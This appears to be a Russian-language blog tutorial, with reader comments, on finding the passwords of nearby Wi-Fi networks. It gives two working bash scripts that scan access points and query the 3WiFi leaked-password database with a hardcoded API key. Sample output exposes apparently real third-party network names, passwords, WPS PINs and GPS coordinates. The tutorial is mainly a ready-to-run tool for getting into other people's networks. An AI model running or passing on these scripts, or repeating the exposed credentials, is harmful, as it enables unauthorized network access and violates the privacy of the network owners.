Как быстро узнать пароль от Wi-Fi рядом (без режима монитора)


После статьи «Как взломать Wi-Fi обычным адаптером без режима монитора» я подумал: чтобы ещё необычного можно сделать с обычной Wi-Fi картой?

У меня появилась парочка интересных идей и в этой заметке я поделюсь первой идеей. Есть сервис 3WiFi — он позволяет узнать пароли от точек доступа Wi-Fi. Подробности о самом сервисе в статье «Сервис 3WiFi: пароли от точек доступа Wi-Fi». Было бы неплохо что-нибудь такое придумать, чтобы автоматически проверять все точки в округе на наличие тех, которые есть в базе данных 3WiFi — чтобы не искать вручную, а просто сразу просканировать и подключиться. И… это уже тоже сделано — подробности в статье «Автоматическая проверка всех Точек Доступа по базе 3WiFi».

Но реализация WiFi-autopwner требует наличия двух беспроводных адаптеров, один из которых обязательно должен поддерживать режим монитора, а второй обязательно быть подключённым к Интернету.

В общем, я придумал способ, который позволяет проверить все беспроводные точки доступа в пределах досягаемости на их наличие в базе 3WiFi, но при этом требуется только одна Wi-Fi карта, причём обычная — её не нужно переводить в режим монитора. Правда, подключение Интернету по-прежнему требуется — поскольку используется онлайн база данных. Но что важно: во время сканирования, Wi-Fi соединение не будет разрываться. То есть достаточно 1 адаптера, который будет и сканировать, и в это же самое время быть подключённым к Интернету.

Попросту говоря, если у вас Linux с любой Wi-Fi картой, то вам этот способ уже подходит. Итак, рассмотрим способ как быстро узнать пароль от Wi-Fi рядом обычной Wi-Fi картой без режима монитора.

Создаём файл 3wifi.sh:

gedit 3wifi.sh

И копируем в него:

#!/bin/bash

IFACE='wlan0'
SCAN_ATTEMPTS=4
API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC'

TMP_FILE='/tmp/scan_results.txt'

rm $TMP_FILE 2>/dev/null

for (( i=1; i<=$SCAN_ATTEMPTS; i=i+1 )); do
    echo "Scan #: $i"
    FOUND="$( sudo iw dev $IFACE scan | grep -E '^BSS' | grep -E -o '[0-9a-z:]{17}' )"
    echo "$FOUND" >> /tmp/scan_results.txt
    echo 'Found APs: ' `echo "$FOUND" | wc -l`
done

UNIQUE="$( cat $TMP_FILE | sort | uniq )"
echo '==================='
echo "Unique APs: "`echo "$UNIQUE" | wc -l`

echo "$UNIQUE" | while read -r line ; do
      echo "Trying $line...";
      echo -e "\033[0;32m`curl -s 'http://3wifi.stascorp.com/api/apiquery?key='$API_KEY'&bssid='$line`\e[0m" | grep -E -v ':\[\]';
      sleep 15;
done

Прежде чем запустить, нужно указать имя своего беспроводного интерфейса. Узнать это имя можно командой:

iw dev

Вписать его нужно в строке (вместо wlan0):

IFACE='wlan0'

Другие настройки — количество сканирований:

SCAN_ATTEMPTS=4

По умолчанию указано 4 — можете выбрать больше или меньше. Каждое сканирование занимает всего несколько секунд — чем больше сканирований, тем меньше вероятность пропустить беспроводные сети — особенно если вы перемещаете беспроводную карту в пределах комнаты.

Настройка API ключа сервиса 3WiFi:

API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC'

Используется API ключ гостевого аккаунта — если у вас есть аккаунт более высокого уровня, то можете указать здесь свой ключ. Если такого аккаунта у вас нет — то не надо ничего менять в этой строке.

Если у вас не-гостевой аккаунт и вы прописали свой API ключ, то удалите из скрипта строку:

      sleep 15;

Запуск очень простой:

sudo bash 3wifi.sh

Будет выведено:


Если после строки, которая начинается с Trying … ничего не выведено, значит проверяемая ТД отсутствует в базе данных 3WiFi.

Если Точка Доступа найдена в 3WiFi, то будет выведено примерно следующее:

{"result":true,"data":{"D8:FB:5E:4D:47:82":[{"time":"2019-07-01 18:53:43","bssid":"D8:FB:5E:4D:47:82","essid":"BURAPA","sec":"WPA\/WPA2","key":"0840446924","wps":"12345670","lat":12.52412224,"lon":99.97179413}]},"time":0.012100219726562}

essid — это имя точки доступа, а key — это пароль от неё. То есть в предыдущей строке сказано, что для ТД BURAPA паролем для подключения к Wi-Fi является 0840446924.


Если возникла ошибка вида:

{"result":false,"error":"cooldown","time":0.0015487670898438}

то она означает, что предыдущая ТД не проверена — вы можете позднее перезапустить сканирование, либо вручную проверить пропущенные ТД на сайте 3WiFi.

Второй запуск:

Две ТД не получилось проверить, зато найдена новая в БД:

{"result":true,"data":{"FC:52:8D:B0:EE:9E":[{"time":"2019-07-01 07:08:11","bssid":"FC:52:8D:B0:EE:9E","essid":"walaiporn","sec":"WPA\/WPA2","key":"77291944","wps":"12345670","lat":12.52481079,"lon":99.97236633}]},"time":0.49964094161987}

Имя: walaiporn, пароль: 77291944.

Бонус

Рассмотрим ещё один вариант — когда Wi-Fi карта одна, но она поддерживает режим монитора. В этом случае можно просканировать сети с помощью airodump-ng — во время сканирование беспроводной адаптер должен быть в режиме монитора и, следовательно, не может быть подключён к Интернету. Поэтому данные сканирования, вместо проверки, можно сохранить в файл.

Затем, после окончания сканирования, можно подключиться к Интернету с помощью этого адаптера и выполнить проверку по онлайн базе данных.

Итак, переводим интерфейс в режим монитора (замените ИНТЕРФЕЙС на имя вашего беспроводного интерфейса):

sudo ip link set ИНТЕРФЕЙС down
sudo iw ИНТЕРФЕЙС set monitor control
sudo ip link set ИНТЕРФЕЙС up

И запускаем airodump-ng (укажите действительное имя интерфейса вместо ИНТЕРФЕЙС):

sudo airodump-ng --berlin 60000 -w /tmp/3wifi ИНТЕРФЕЙС

Работать программа может любое количество времени — на ваше усмотрение. Когда надоест собирать данные, нажмите CTRL+с.

Теперь создайте файл 3wifi-file.sh:

gedit 3wifi-file.sh

Скопируйте в него:

#!/bin/bash

API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC'

FILE='/tmp/3wifi-01.csv'

while read -r line ; do
	BSSID=`echo $line | awk '{print $1}' | sed 's/,//'`
	ESSID=`echo $line | awk -F"," '{print $14}' | sed 's/ //'`
	echo "Trying $BSSID $ESSID"
	echo -e "\033[0;32m`curl -s 'http://3wifi.stascorp.com/api/apiquery?key='$API_KEY'&bssid='$BSSID`\e[0m" | grep -E -v ':\[\]'
	sleep 15	
done < <(grep -E '([A-Za-z0-9._: @\(\)\\=\[\{\}\"%;-]+,){14}' $FILE)

Когда у вас вновь будет подключение к Интернету, запустите его:


bash 3wifi-file.sh

Дождитесь окончания работы.

Если вы собираетесь запускать airodump-ng ещё раз, то очистите файлы, которые были созданы ранее (иначе программа 3wifi-file.sh будет вновь использовать старые файлы):

sudo rm /tmp/3wifi*

Рекомендуется Вам:

7 комментариев to Как быстро узнать пароль от Wi-Fi рядом (без режима монитора)

  1. Алишер:

    Отличная статья.  Ожидается ли  что-нибудь  про поисковики "Интернета вещей". 

  2. Lighti:

    Можете пояснить, почему так?

    :~# sudo bash 3wifi.sh
    Scan #: 1
    command failed: Operation not supported (-95)
    Found APs:  1
    Scan #: 2
    command failed: Operation not supported (-95)
    Found APs:  1
    Scan #: 3
    command failed: Operation not supported (-95)
    Found APs:  1
    Scan #: 4
    command failed: Operation not supported (-95)
    Found APs:  1
    ===================
    Unique APs: 1
    Trying …
    {"result":false,"error":"form","time":0.0094821453094482}

     

    • Alexey:

      После «долгих экспериментов» мне удалось получить такую ошибку, если беспроводной адаптер находится в режиме монитора.

      Как вариант, беспроводной интерфейс должен показывать такую же ошибку если находится в режиме AP или в любом другом режиме кроме обычного managed.

  3. Макс:

    спасибо за статью!

    Что может означать следующая ощибка?

    {"result":false,"error":"lowlevel","time":0.012773036956787}

     

  4. Аноним:

    Если bash файл не запускается, его следует сперва сделать исполняемым, с помощью команды:  chmod u+x <script>.sh

Добавить комментарий для Макс Отменить ответ

Ваш адрес email не будет опубликован. Обязательные поля помечены *